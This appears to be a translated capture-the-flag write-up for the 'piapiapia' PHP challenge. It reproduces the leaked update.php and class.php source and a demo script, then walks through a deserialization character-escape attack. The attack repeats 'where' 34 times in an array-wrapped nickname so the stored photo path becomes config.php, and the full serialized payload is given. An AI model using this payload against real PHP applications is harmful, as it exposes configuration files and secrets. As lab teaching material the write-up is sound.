Basic knowledge
Escape principle of php anti sequence words
Problem solving ideas
payload
/www.zip
The source code is leaked and can be downloaded directly
config.php
Open config.php and you can see that the flag may be stored here
Visit / register.php, register an account casually, log in and find that you have jumped to update.php
update.php
//update.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile .php">Your Profile</a>'; } else { ?> <!DOCTYPE html> <html> <head> <title>UPDATE</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="update.php" method="post" enctype="multipart/form-data" class="well" style="width:220px;margin:0px auto;"> <img src="static/piapiapia.gif" class="img-memeda " style="width:180px;margin:0px auto;"> <h3>Please Update Your Profile</h3> <label>Phone:</label> <input type="text" name="phone" style="height:30px"class="span3"/> <label>Email:</label> <input type="text" name="email" style="height:30px"class="span3"/> <label>Nickname:</label> <input type="text" name="nickname" style="height:30px" class="span3"> <label for="file">Photo:</label> <input type="file" name="photo" style="height:30px"class="span3"/> <button type="submit" class="btn btn-primary">UPDATE</button> </form> </div> </body> </html> <?php } ?>
You can see that the update.php page filters the phone, emil, nicknam, photo and other parameters passed in through post. The mobile phone number and email should conform to the normal format, and the value of nickname can only be in a-zA-Z0-9 and a-z0-9_ And the length cannot be greater than 10. Here, you can bypass it by putting the data into the array when posting data
Several parameters that meet the filtering conditions are passed in and put into $profile [], and then $profile is serialized and passed into update_ In the profile () function, the function code is as follows. In the function, filter() is performed on username and the serialized $profile passed in
update_profile()
//class.php public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); }
fileter()
//class.php public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); }
You can see that the filter replaces the incoming violation keywords' select ',' Insert ',' Update ',' Delete 'and' where 'with a hacker. You can easily find that the length of the hacker is 6, and only the length of where in the violation keywords is 5. Other lengths are the same as that of the hacker, that is, except for the where keyword, the length of other keywords will not change after replacement. Here we can use the basic knowledge mentioned above php deserialization character escape vulnerability Loophole
As long as we input a reasonable number of where in the nickname parameter, after serialization and then filtered by filter(), the original photo content can overflow and escape and become the payload content (config.php) we constructed
Write a small demo to test according to the general logic of the website
demo
//test.html <html> <head></head> <body></body> <form action="test.php" method="post" enctype="multipart/form-data" class="well"> <h3>Please Update Your Profile</h3> <label>Phone:</label> <input type="text" name="phone" style="height:30px"class="span3"/> <label>Email:</label> <input type="text" name="email" style="height:30px"class="span3"/> <label>Nickname:</label> <input type="text" name="nickname" style="height:30px" class="span3"> <label for="file">Photo:</label> <input type="file" name="photo" style="height:30px"class="span3"/> <button type="submit" class="btn btn-primary">UPDATE</button> </form> </html>
//test.php <?php if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } #print_r($profile); echo '<br>'; echo '<br>'; $test1 = serialize($profile); $test1 = filter($test1); echo $test1; $test = unserialize($test1); echo '<br>'; echo '<br>'; print_r($test); echo '<br>'; echo '<br>'; print_r($test['phone']); echo '<br>'; echo '<br>'; print_r($test['email']); echo '<br>'; echo '<br>'; print_r($test['nickname']); echo '<br>'; echo '<br>'; print_r($test['photo']); echo '<br>'; echo '<br>'; ?>
Then, in the demo, we first pass in the data normally and see the output results after serialization
Now let's grab the package and modify the name of nickname, and splice ";} s:5:"photo";s:10:"config.php ";} into the content of nickname. The reason here is that the flag can be found in config.php
You can see that the length of the characters on the back splicing and the length of the original five 1s add up to a total of 39. At this time, you also know that every time you write a where in the content of nickname, the back end will replace the where with hack, so the length 5 becomes 6. The following equation is listed. Let the number of where be x, then if you want the content to escape, you should meet 39+5x=6x+5
You can get that x is 34, that is, you need to add 34 where in the content of nickname. The experiment is carried out below
You can see that photo was successfully replaced with config.php
Send the spliced payload below
a:4:{s:5:"phone";s:11:"15103114513";s:5:"email";s:16:"165789634@qq.com";s:8:"nickname";a:1:{i:0;s:209:"11111hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/0412c29576c708cf0155e8de242169b1";}
The last part of the content successfully escaped because of the principle of serialization. Let's try it at the shooting range
";}s:5:"photo";s:39:"upload/0412c29576c708cf0155e8de242169b1";}
BUU range operation
Enter basic information
Grab bag
Modify nickname splice payload
decode
Successful problem solving